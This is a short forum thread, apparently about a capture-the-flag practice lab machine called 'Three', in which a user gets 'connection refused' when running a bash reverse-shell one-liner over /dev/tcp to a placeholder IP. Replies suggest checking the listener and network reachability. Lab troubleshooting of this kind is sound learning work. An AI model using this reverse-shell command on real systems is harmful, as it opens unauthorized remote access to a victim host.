hi, i’m at the starting point tier 1 I have completed all the machines but I couldn’t complete the machine named “three”.When i write bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1 I’m getting a “connection refused” error.I write the correct ip address but I get the same error every time. This error has been going on since yesterday.

I have this same issue , please can someone help.

Did you solve the issue?
If not: Run ss -lntp | grep 1337 on your “attacker” box to verify you’re listening on 10.x.y.z:1337 (or, :::1337).
I assume in this assignment, you’re SSH’d into the “victim” (or have some other way of executing CLI commands)? If so, try to ping your VPN IP to see if the victim host can reach your attacker host.